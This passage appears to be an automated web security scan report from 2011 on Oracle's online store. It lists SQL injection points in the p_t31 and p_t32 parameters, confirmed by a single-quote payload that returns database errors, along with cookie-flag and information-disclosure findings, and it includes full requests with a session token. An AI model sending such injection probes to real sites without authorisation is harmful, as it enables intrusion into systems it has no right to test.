s_pers=%20gpv_p24%3Dhttps%253A//shop.oracle.com/pls/ostore/f%253Fp%253Ddstore%253Aproduct%253A0%253A%253ANO%253A6%253AP6_LPI%252CP6_PROD_HIER_ID%253A4509235234901805719915%252C4509948309481805720010%7C1318853885249%3B%20gpw_e24%3Dhttps%253A//shop.oracle.com/pls/ostore/f%253Fp%253Ddstore%253Aproduct%253A0%253A%253ANO%253A6%253AP6_LPI%252CP6_PROD_HIER_ID%253A4509235234901805719915%252C4509948309481805720010%7C1318853885250%3B; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3Doracleglobal%252Coraclestore%253D%252526pid%25253Dostore%2525253A%25252520product%25252520details%25252520%2525253A%25252520oracle%25252520crystal%25252520ball%252526pidt%25253D1%252526oid%25253Djavascript%2525253ASWaddToCart%25252528this%25252529%2525253B%252526ot%25253DA%2526oraclecom%253D%252526pid%25253Docom%2525253Aen-us%2525253A%2525252Fproducts%2525252Fapplications%2525252Febusiness%2525252F%252526pidt%25253D1%252526oid%25253Dfunctiononclick%252528event%252529%2525257Bjavascript%2525253Aif%252528%252521isUserInput%252529%2525257Bdocument.searchForm.q.value%2525253D%252527%252527%2525253B%2525257D%2525257D%252526oidt%25253D2%252526ot%25253DTEXT%3B
p_flow_id=700&p_flow_step_id=6&p_instance=7881107130450135&p_page_submission_id=1395912309489726&p_request=ADD_TO_CART&p_arg_names=206263118184316685&p_t01=Store+Search&f01=2275956057831485281871&f02= ...[SNIP]... 9721E627C30CB548DADA8E65D95BA&p_arg_names=207519617010820548&p_t16=&p_arg_names=207519824975822807&p_t17=&p_arg_names=207743514465766863&p_t18=2627214932896553482&p_arg_names=218393024595890180&p_t19='&p_arg_names=218443119998950207&p_t20=1&p_arg_names=218604801508085341&p_t21=Y&p_arg_names=218673005668381044&p_t22=See+Configurations&p_arg_names=218673227832387359&p_t23=Hide+Configurations&p_arg_na ...[SNIP]...
|
Response
HTTP/1.1 200 OK Date: Mon, 17 Oct 2011 11:55:13 GMT Server: Oracle-Application-Server-10g Vary: Host Content-Length: 13365 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>Product Details - Oracle Cryst ...[SNIP]... <div class="ErrorPageMessage">ORA-06502: PL/SQL: numeric or value error: character to number conversion error</div> ...[SNIP]...
|
1.8. https://shop.oracle.com/pls/ostore/wwv_flow.accept [p_t31 parameter]
previous
next
Summary
Severity: |
High |
Confidence: |
Firm |
Host: |
https://shop.oracle.com |
Path: |
/pls/ostore/wwv_flow.accept |
Issue detail
The p_t31 parameter appears to be vulnerable to SQL injection attacks. The payload ' was submitted in the p_t31 parameter, and a database error message was returned. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
The database appears to be Oracle.
Remediation detail
The application should handle errors gracefully and prevent SQL error messages from being returned in responses.
Request
POST /pls/ostore/wwv_flow.accept HTTP/1.1 Host: shop.oracle.com Connection: keep-alive Content-Length: 2379 Cache-Control: max-age=0 Origin: https://shop.oracle.com User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.202 Safari/535.1 Content-Type: application/x-www-form-urlencoded Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Referer: https://shop.oracle.com/pls/ostore/f?p=dstore:product:0::NO:6:P6_LPI,P6_PROD_HIER_ID:4509235234901805719915,4509948309481805720010 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: WWV_PUBLIC_SESSION_700=7881107130450135; s_wgw_lv=1315343380912; s_nr6=1315343380933-New; s_nr=1318816660522; p_cur_URL=http://education.oracle.com/pls/web_prod-plq-dad/db_pages.getpage?page_id=233; p_org_id=1001; p_lang=US; s_sq=%5B%5BB%5D%5D; s_pers=%20gpv_p24%3Dhttps%253A//shop.oracle.com/pls/ostore/f%253Fp%253Ddstore%253Aproduct%253A0%253A%253ANO%253A6%253AP6_LPI%252CP6_PROD_HIER_ID%253A4509235234901805719915%252C4509948309481805720010%7C1318853885249%3B%20gpw_e24%3Dhttps%253A//shop.oracle.com/pls/ostore/f%253Fp%253Ddstore%253Aproduct%253A0%253A%253ANO%253A6%253AP6_LPI%252CP6_PROD_HIER_ID%253A4509235234901805719915%252C4509948309481805720010%7C1318853885250%3B; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3Doracleglobal%252Coraclestore%253D%252526pid%25253Dostore%2525253A%25252520product%25252520details%25252520%2525253A%25252520oracle%25252520crystal%25252520ball%252526pidt%25253D1%252526oid%25253Djavascript%2525253ASWaddToCart%25252528this%25252529%2525253B%252526ot%25253DA%2526oraclecom%253D%252526pid%25253Docom%2525253Aen-us%2525253A%2525252Fproducts%2525252Fapplications%2525252Febusiness%2525252F%252526pidt%25253D1%252526oid%25253Dfunctiononclick%252528event%252529%2525257Bjavascript%2525253Aif%252528%252521isUserInput%252529%2525257Bdocument.searchForm.q.value%2525253D%252527%252527%2525253B%2525257D%2525257D%252526oidt%25253D2%252526ot%25253DTEXT%3B
p_flow_id=700&p_flow_step_id=6&p_instance=7881107130450135&p_page_submission_id=1395912309489726&p_request=ADD_TO_CART&p_arg_names=206263118184316685&p_t01=Store+Search&f01=2275956057831485281871&f02= ...[SNIP]... 8E65D95BA&p_arg_names=252649917580681530&p_t27=&p_arg_names=207920229995643446&p_t28=N&p_arg_names=207924523705887677&p_t29=&p_arg_names=207924703404891203&p_t30=&p_arg_names=207924928123907820&p_t31='&p_arg_names=207925107822911411&p_t32=&p_arg_names=207925329293917635&p_t33=1&p_arg_names=207925530116927342&p_t34=&p_arg_names=218324920070793075&p_t35=&p_arg_names=218325130112796005&p_t36=&p_arg_na ...[SNIP]...
|
Response
HTTP/1.1 200 OK Date: Mon, 17 Oct 2011 11:57:37 GMT Server: Oracle-Application-Server-10g Vary: Host Content-Length: 13367 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>Product Details - Oracle Cryst ...[SNIP]... <div class="ErrorPageMessage">ORA-06502: PL/SQL: numeric or value error: character to number conversion error</div> ...[SNIP]...
|
1.9. https://shop.oracle.com/pls/ostore/wwv_flow.accept [p_t32 parameter]
previous
next
Summary
Severity: |
High |
Confidence: |
Firm |
Host: |
https://shop.oracle.com |
Path: |
/pls/ostore/wwv_flow.accept |
Issue detail
The p_t32 parameter appears to be vulnerable to SQL injection attacks. The payload ' was submitted in the p_t32 parameter, and a database error message was returned. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
The database appears to be Oracle.
Remediation detail
The application should handle errors gracefully and prevent SQL error messages from being returned in responses.
Request
POST /pls/ostore/wwv_flow.accept HTTP/1.1 Host: shop.oracle.com Connection: keep-alive Content-Length: 2379 Cache-Control: max-age=0 Origin: https://shop.oracle.com User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.202 Safari/535.1 Content-Type: application/x-www-form-urlencoded Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Referer: https://shop.oracle.com/pls/ostore/f?p=dstore:product:0::NO:6:P6_LPI,P6_PROD_HIER_ID:4509235234901805719915,4509948309481805720010 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: WWV_PUBLIC_SESSION_700=7881107130450135; s_wgw_lv=1315343380912; s_nr6=1315343380933-New; s_nr=1318816660522; p_cur_URL=http://education.oracle.com/pls/web_prod-plq-dad/db_pages.getpage?page_id=233; p_org_id=1001; p_lang=US; s_sq=%5B%5BB%5D%5D; s_pers=%20gpv_p24%3Dhttps%253A//shop.oracle.com/pls/ostore/f%253Fp%253Ddstore%253Aproduct%253A0%253A%253ANO%253A6%253AP6_LPI%252CP6_PROD_HIER_ID%253A4509235234901805719915%252C4509948309481805720010%7C1318853885249%3B%20gpw_e24%3Dhttps%253A//shop.oracle.com/pls/ostore/f%253Fp%253Ddstore%253Aproduct%253A0%253A%253ANO%253A6%253AP6_LPI%252CP6_PROD_HIER_ID%253A4509235234901805719915%252C4509948309481805720010%7C1318853885250%3B; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3Doracleglobal%252Coraclestore%253D%252526pid%25253Dostore%2525253A%25252520product%25252520details%25252520%2525253A%25252520oracle%25252520crystal%25252520ball%252526pidt%25253D1%252526oid%25253Djavascript%2525253ASWaddToCart%25252528this%25252529%2525253B%252526ot%25253DA%2526oraclecom%253D%252526pid%25253Docom%2525253Aen-us%2525253A%2525252Fproducts%2525252Fapplications%2525252Febusiness%2525252F%252526pidt%25253D1%252526oid%25253Dfunctiononclick%252528event%252529%2525257Bjavascript%2525253Aif%252528%252521isUserInput%252529%2525257Bdocument.searchForm.q.value%2525253D%252527%252527%2525253B%2525257D%2525257D%252526oidt%25253D2%252526ot%25253DTEXT%3B
p_flow_id=700&p_flow_step_id=6&p_instance=7881107130450135&p_page_submission_id=1395912309489726&p_request=ADD_TO_CART&p_arg_names=206263118184316685&p_t01=Store+Search&f01=2275956057831485281871&f02= ...[SNIP]... 30&p_t27=&p_arg_names=207920229995643446&p_t28=N&p_arg_names=207924523705887677&p_t29=&p_arg_names=207924703404891203&p_t30=&p_arg_names=207924928123907820&p_t31=&p_arg_names=207925107822911411&p_t32='&p_arg_names=207925329293917635&p_t33=1&p_arg_names=207925530116927342&p_t34=&p_arg_names=218324920070793075&p_t35=&p_arg_names=218325130112796005&p_t36=&p_arg_names=218326006610817582&p_t37=&p_md5_ch ...[SNIP]...
|
Response
HTTP/1.1 200 OK Date: Mon, 17 Oct 2011 11:57:42 GMT Server: Oracle-Application-Server-10g Vary: Host Content-Length: 13367 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>Product Details - Oracle Cryst ...[SNIP]... <div class="ErrorPageMessage">ORA-06502: PL/SQL: numeric or value error: character to number conversion error</div> ...[SNIP]...
|
2. SSL cookie without secure flag set
previous
next
Summary
Severity: |
Medium |
Confidence: |
Firm |
Host: |
https://shop.oracle.com |
Path: |
/pls/ostore/f |
Issue detail
The following cookie was issued by the application and does not have the secure flag set:- WWV_PUBLIC_SESSION_700=7881107130450135
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Issue background
If the secure flag is set on a cookie, then browsers will not submit the cookie in any requests that use an unencrypted HTTP connection, thereby preventing the cookie from being trivially intercepted by an attacker monitoring network traffic. If the secure flag is not set, then the cookie will be transmitted in clear-text if the user visits any HTTP URLs within the cookie's scope. An attacker may be able to induce this event by feeding a user suitable links, either directly or via another web site. Even if the domain which issued the cookie does not host any content that is accessed over HTTP, an attacker may be able to use links of the form http://example.com:443/ to perform the same attack.
Issue remediation
The secure flag should be set on all cookies that are used for transmitting sensitive data when accessing content over HTTPS. If cookies are used to transmit session tokens, then areas of the application that are accessed over HTTPS should employ their own session handling mechanism, and the session tokens used should never be transmitted over unencrypted communications.
Request
GET /pls/ostore/f?p=dstore:home:0 HTTP/1.1 Host: shop.oracle.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.202 Safari/535.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Referer: https://shop.oracle.com/ Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: s_wgw_lv=1315343380912; s_nr6=1315343380933-New; s_nr=1318816660522; p_cur_URL=http://education.oracle.com/pls/web_prod-plq-dad/db_pages.getpage?page_id=233; p_org_id=1001; p_lang=US; gpv_p24=http%3A//www.oracle.com/us/education/selectcountry-new-079003.html; s_cc=true; gpw_e24=http%3A%2F%2Fwww.oracle.com%2Fus%2Fproducts%2Fapplications%2Fpeoplesoft-enterprise%2Fhcm%2Findex.html; s_sq=oraclecom%2Coracleglobal%3D%2526pid%253Docom%25253Aen-us%25253A%25252Fproducts%25252Fapplications%25252Fpeoplesoft-enterprise%25252Fhcm%25252F%2526pidt%253D1%2526oid%253Docom%25253Aen%25253Ahnav%25253Astore%25253Astorespareparts%2526oidt%253D1%2526ot%253DA%2526oi%253D1
|
Response
HTTP/1.1 200 OK Date: Mon, 17 Oct 2011 11:47:02 GMT Server: Oracle-Application-Server-10g Vary: Host Content-Length: 437 Set-Cookie: WWV_PUBLIC_SESSION_700=7881107130450135 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
<html> <head><script type="text/javascript"> function detectTimeZone(){ var lGmtHours = -(new Date()).getTimezoneOffset(); var lHours = parseInt(lGmtHours/60); var lMinutes = lGmtHours%60; window.loca ...[SNIP]...
|
3. Cookie without HttpOnly flag set
previous
next
Summary
Severity: |
Low |
Confidence: |
Firm |
Host: |
https://shop.oracle.com |
Path: |
/pls/ostore/f |
Issue detail
The following cookie was issued by the application and does not have the HttpOnly flag set:- WWV_PUBLIC_SESSION_700=7881107130450135
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Issue background
If the HttpOnly attribute is set on a cookie, then the cookie's value cannot be read or set by client-side JavaScript. This measure can prevent certain client-side attacks, such as cross-site scripting, from trivially capturing the cookie's value via an injected script.
Issue remediation
There is usually no good reason not to set the HttpOnly flag on all cookies. Unless you specifically require legitimate client-side scripts within your application to read or set a cookie's value, you should set the HttpOnly flag by including this attribute within the relevant Set-cookie directive.
You should be aware that the restrictions imposed by the HttpOnly flag can potentially be circumvented in some circumstances, and that numerous other serious attacks can be delivered by client-side script injection, aside from simple cookie stealing.
Request
GET /pls/ostore/f?p=dstore:home:0 HTTP/1.1 Host: shop.oracle.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.202 Safari/535.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Referer: https://shop.oracle.com/ Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: s_wgw_lv=1315343380912; s_nr6=1315343380933-New; s_nr=1318816660522; p_cur_URL=http://education.oracle.com/pls/web_prod-plq-dad/db_pages.getpage?page_id=233; p_org_id=1001; p_lang=US; gpv_p24=http%3A//www.oracle.com/us/education/selectcountry-new-079003.html; s_cc=true; gpw_e24=http%3A%2F%2Fwww.oracle.com%2Fus%2Fproducts%2Fapplications%2Fpeoplesoft-enterprise%2Fhcm%2Findex.html; s_sq=oraclecom%2Coracleglobal%3D%2526pid%253Docom%25253Aen-us%25253A%25252Fproducts%25252Fapplications%25252Fpeoplesoft-enterprise%25252Fhcm%25252F%2526pidt%253D1%2526oid%253Docom%25253Aen%25253Ahnav%25253Astore%25253Astorespareparts%2526oidt%253D1%2526ot%253DA%2526oi%253D1
|
Response
HTTP/1.1 200 OK Date: Mon, 17 Oct 2011 11:47:02 GMT Server: Oracle-Application-Server-10g Vary: Host Content-Length: 437 Set-Cookie: WWV_PUBLIC_SESSION_700=7881107130450135 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
<html> <head><script type="text/javascript"> function detectTimeZone(){ var lGmtHours = -(new Date()).getTimezoneOffset(); var lHours = parseInt(lGmtHours/60); var lMinutes = lGmtHours%60; window.loca ...[SNIP]...
|
4. Email addresses disclosed
previous
next
Summary
Severity: |
Information |
Confidence: |
Certain |
Host: |
https://shop.oracle.com |
Path: |
/pls/ostore/f |
Issue detail
The following email addresses were disclosed in the response:- oraclehelp_ww@oracle.com
- oraclesales_us@oracle.com
Issue background
The presence of email addresses within application responses does not necessarily constitute a security vulnerability. Email addresses may appear intentionally within contact information, and many applications (such as web mail) include arbitrary third-party email addresses within their core content.
However, email addresses of developers and other individuals (whether appearing on-screen or hidden within page source) may disclose information that is useful to an attacker; for example, they may represent usernames that can be used at the application's login, and they may be used in social engineering attacks against the organisation's personnel. Unnecessary or excessive disclosure of email addresses may also lead to an increase in the volume of spam email received.
Issue remediation
You should review the email addresses being disclosed by the application, and consider removing any that are unnecessary, or replacing personal addresses with anonymous mailbox addresses (such as helpdesk@example.com).
Request
GET /pls/ostore/f?p=dstore:home:7881107130450135&tz=-5:00 HTTP/1.1 Host: shop.oracle.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.202 Safari/535.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Referer: https://shop.oracle.com/pls/ostore/f?p=dstore:home:0 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: WWV_PUBLIC_SESSION_700=7881107130450135; s_wgw_lv=1315343380912; s_nr6=1315343380933-New; s_nr=1318816660522; p_cur_URL=http://education.oracle.com/pls/web_prod-plq-dad/db_pages.getpage?page_id=233; p_org_id=1001; p_lang=US; gpv_p24=http%3A//www.oracle.com/us/education/selectcountry-new-079003.html; s_cc=true; gpw_e24=http%3A%2F%2Fwww.oracle.com%2Fus%2Fproducts%2Fapplications%2Fpeoplesoft-enterprise%2Fhcm%2Findex.html; s_sq=oraclecom%2Coracleglobal%3D%2526pid%253Docom%25253Aen-us%25253A%25252Fproducts%25252Fapplications%25252Fpeoplesoft-enterprise%25252Fhcm%25252F%2526pidt%253D1%2526oid%253Docom%25253Aen%25253Ahnav%25253Astore%25253Astorespareparts%2526oidt%253D1%2526ot%253DA%2526oi%253D1
|
Response
HTTP/1.1 200 OK Date: Mon, 17 Oct 2011 11:47:05 GMT Server: Oracle-Application-Server-10g Vary: Host Content-Length: 18439 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
<!DOCTYPE html> <!--[if lt IE 7 ]> <html class="ie6"> <![endif]--> <!--[if IE 7 ]> <html class="ie7 no-css3"> <![endif]--> <!--[if IE 8 ]> <html class="ie8 no-css3"> <![endif]--> <!--[if IE 9 ]> ...[SNIP]... <a href="mailto:oraclesales_us@oracle.com?subject=Oracle Store Inquiry"> ...[SNIP]... <a href="mailto:oraclehelp_ww@oracle.com?subject=Oracle Store Inquiry"> ...[SNIP]...
|
5. Cacheable HTTPS response
previous
next
There are 3 instances of this issue:
Issue description
Unless directed otherwise, browsers may store a local cached copy of content received from web servers. Some browsers, including Internet Explorer, cache content accessed via HTTPS. If sensitive information in application responses is stored in the local cache, then this may be retrieved by other users who have access to the same computer at a future time.
Issue remediation
The application should return caching directives instructing browsers not to store local copies of any sensitive data. Often, this can be achieved by configuring the web server to prevent caching for relevant paths within the web root. Alternatively, most web development platforms allow you to control the server's caching directives from within individual scripts. Ideally, the web server should return the following HTTP headers in all responses containing sensitive content:- Cache-control: no-store
- Pragma: no-cache
5.1. https://shop.oracle.com/
previous
next
Summary
Severity: |
Information |
Confidence: |
Certain |
Host: |
https://shop.oracle.com |
Path: |
/ |
Request
GET / HTTP/1.1 Host: shop.oracle.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.202 Safari/535.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Referer: http://www.oracle.com/us/products/applications/peoplesoft-enterprise/hcm/index.html Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: s_wgw_lv=1315343380912; s_nr6=1315343380933-New; s_nr=1318816660522; p_cur_URL=http://education.oracle.com/pls/web_prod-plq-dad/db_pages.getpage?page_id=233; p_org_id=1001; p_lang=US; gpv_p24=http%3A//www.oracle.com/us/education/selectcountry-new-079003.html; s_cc=true; gpw_e24=http%3A%2F%2Fwww.oracle.com%2Fus%2Fproducts%2Fapplications%2Fpeoplesoft-enterprise%2Fhcm%2Findex.html; s_sq=oraclecom%2Coracleglobal%3D%2526pid%253Docom%25253Aen-us%25253A%25252Fproducts%25252Fapplications%25252Fpeoplesoft-enterprise%25252Fhcm%25252F%2526pidt%253D1%2526oid%253Docom%25253Aen%25253Ahnav%25253Astore%25253Astorespareparts%2526oidt%253D1%2526ot%253DA%2526oi%253D1
|
Response
HTTP/1.1 200 OK Date: Mon, 17 Oct 2011 11:47:02 GMT Server: Oracle-Application-Server-10g Last-Modified: Sat, 26 Mar 2011 14:58:47 GMT ETag: "929d05-59-4d8dff27" Accept-Ranges: bytes Content-Length: 89 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html
<head> <meta HTTP-EQUIV=Refresh CONTENT="0; URL=/pls/ostore/f?p=dstore:home:0"> </head>
|
5.2. https://shop.oracle.com/pls/ostore/f
previous
next
Summary
Severity: |
Information |
Confidence: |
Certain |
Host: |
https://shop.oracle.com |
Path: |
/pls/ostore/f |
Request
GET /pls/ostore/f?p=dstore:home:0 HTTP/1.1 Host: shop.oracle.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.202 Safari/535.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Referer: https://shop.oracle.com/ Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: s_wgw_lv=1315343380912; s_nr6=1315343380933-New; s_nr=1318816660522; p_cur_URL=http://education.oracle.com/pls/web_prod-plq-dad/db_pages.getpage?page_id=233; p_org_id=1001; p_lang=US; gpv_p24=http%3A//www.oracle.com/us/education/selectcountry-new-079003.html; s_cc=true; gpw_e24=http%3A%2F%2Fwww.oracle.com%2Fus%2Fproducts%2Fapplications%2Fpeoplesoft-enterprise%2Fhcm%2Findex.html; s_sq=oraclecom%2Coracleglobal%3D%2526pid%253Docom%25253Aen-us%25253A%25252Fproducts%25252Fapplications%25252Fpeoplesoft-enterprise%25252Fhcm%25252F%2526pidt%253D1%2526oid%253Docom%25253Aen%25253Ahnav%25253Astore%25253Astorespareparts%2526oidt%253D1%2526ot%253DA%2526oi%253D1
|
Response
HTTP/1.1 200 OK Date: Mon, 17 Oct 2011 11:47:03 GMT Server: Oracle-Application-Server-10g Vary: Host Content-Length: 437 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
<html> <head><script type="text/javascript"> function detectTimeZone(){ var lGmtHours = -(new Date()).getTimezoneOffset(); var lHours = parseInt(lGmtHours/60); var lMinutes = lGmtHours%60; window.loca ...[SNIP]...
|
5.3. https://shop.oracle.com/pls/ostore/wwv_flow.accept
previous
Summary
Severity: |
Information |
Confidence: |
Certain |
Host: |
https://shop.oracle.com |
Path: |
/pls/ostore/wwv_flow.accept |
Request
GET /pls/ostore/wwv_flow.accept HTTP/1.1 Host: shop.oracle.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
|
Response
HTTP/1.1 200 OK Date: Mon, 17 Oct 2011 13:53:01 GMT Server: Oracle-Application-Server-10g Vary: Host Content-Length: 464 Connection: close Content-Type: text/html; charset=UTF-8
<div class="ErrorPageMessage">Expecting p_company or wwv_flow_company cookie to contain security group id of application owner.</div><table summary=""><tr><td><img src="/i/error.gif" border="0" /></td ...[SNIP]...
|
6. HTML does not specify charset
previous
next
Summary
Severity: |
Information |
Confidence: |
Certain |
Host: |
https://shop.oracle.com |
Path: |
/ |
Issue description
If a web response states that it contains HTML content but does not specify a character set, then the browser may analyse the HTML and attempt to determine which character set it appears to be using. Even if the majority of the HTML actually employs a standard character set such as UTF-8, the presence of non-standard characters anywhere in the response may cause the browser to interpret the content using a different character set. This can have unexpected results, and can lead to cross-site scripting vulnerabilities in which non-standard encodings like UTF-7 can be used to bypass the application's defensive filters.
In most cases, the absence of a charset directive does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.
Issue remediation
For every response containing HTML content, the application should include within the Content-type header a directive specifying a standard recognised character set, for example charset=ISO-8859-1.
Request
GET / HTTP/1.1 Host: shop.oracle.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.202 Safari/535.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Referer: http://www.oracle.com/us/products/applications/peoplesoft-enterprise/hcm/index.html Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: s_wgw_lv=1315343380912; s_nr6=1315343380933-New; s_nr=1318816660522; p_cur_URL=http://education.oracle.com/pls/web_prod-plq-dad/db_pages.getpage?page_id=233; p_org_id=1001; p_lang=US; gpv_p24=http%3A//www.oracle.com/us/education/selectcountry-new-079003.html; s_cc=true; gpw_e24=http%3A%2F%2Fwww.oracle.com%2Fus%2Fproducts%2Fapplications%2Fpeoplesoft-enterprise%2Fhcm%2Findex.html; s_sq=oraclecom%2Coracleglobal%3D%2526pid%253Docom%25253Aen-us%25253A%25252Fproducts%25252Fapplications%25252Fpeoplesoft-enterprise%25252Fhcm%25252F%2526pidt%253D1%2526oid%253Docom%25253Aen%25253Ahnav%25253Astore%25253Astorespareparts%2526oidt%253D1%2526ot%253DA%2526oi%253D1
|
Response
HTTP/1.1 200 OK Date: Mon, 17 Oct 2011 11:47:02 GMT Server: Oracle-Application-Server-10g Last-Modified: Sat, 26 Mar 2011 14:58:47 GMT ETag: "929d05-59-4d8dff27" Accept-Ranges: bytes Content-Length: 89 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html
<head> <meta HTTP-EQUIV=Refresh CONTENT="0; URL=/pls/ostore/f?p=dstore:home:0"> </head>
|
7. Content type incorrectly stated
previous
Summary
Severity: |
Information |
Confidence: |
Firm |
Host: |
https://shop.oracle.com |
Path: |
/pls/ostore/f |
Issue detail
The response contains the following Content-type statement:- Content-Type: text/html; charset=UTF-8
The response states that it contains HTML. However, it actually appears to contain script.
Issue background
If a web response specifies an incorrect content type, then browsers may process the response in unexpected ways. If the specified content type is a renderable text-based format, then the browser will usually attempt to parse and render the response in that format. If the specified type is an image format, then the browser will usually detect the anomaly and will analyse the actual content and attempt to determine its MIME type. Either case can lead to unexpected results, and if the content contains any user-controllable data may lead to cross-site scripting or other client-side vulnerabilities.
In most cases, the presence of an incorrect content type statement does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.
Issue remediation
For every response containing a message body, the application should include a single Content-type header which correctly and unambiguously states the MIME type of the content in the response body.
Request
GET /pls/ostore/f?p=700:320:7881107130450135::NO:320:: HTTP/1.1 Host: shop.oracle.com Connection: keep-alive Cache-Control: max-age=0 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.202 Safari/535.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Referer: https://shop.oracle.com/pls/ostore/f?p=dstore:cart:7881107130450135 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: WWV_PUBLIC_SESSION_700=7881107130450135; s_wgw_lv=1315343380912; s_nr6=1315343380933-New; s_nr=1318816660522; p_cur_URL=http://education.oracle.com/pls/web_prod-plq-dad/db_pages.getpage?page_id=233; p_org_id=1001; p_lang=US; s_sq=%5B%5BB%5D%5D; s_pers=%20gpv_p24%3Dhttps%253A//shop.oracle.com/pls/ostore/f%253Fp%253Ddstore%253Acart%253A7881107130450135%7C1318853904888%3B%20gpw_e24%3Dhttps%253A//shop.oracle.com/pls/ostore/f%253Fp%253Ddstore%253Acart%253A7881107130450135%7C1318853904890%3B; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3Doracleglobal%252Coraclestore%253D%252526pid%25253Dostore%2525253A%25252520your%25252520shopping%25252520cart%252526pidt%25253D1%252526oid%25253Djavascript%2525253Aapex.submit%25252528%25252527CHECKOUT%25252527%25252529%252526ot%25253DA%2526oraclecom%253D%252526pid%25253Docom%2525253Aen-us%2525253A%2525252Fproducts%2525252Fapplications%2525252Febusiness%2525252F%252526pidt%25253D1%252526oid%25253Dfunctiononclick%252528event%252529%2525257Bjavascript%2525253Aif%252528%252521isUserInput%252529%2525257Bdocument.searchForm.q.value%2525253D%252527%252527%2525253B%2525257D%2525257D%252526oidt%25253D2%252526ot%25253DTEXT%3B
|
Response
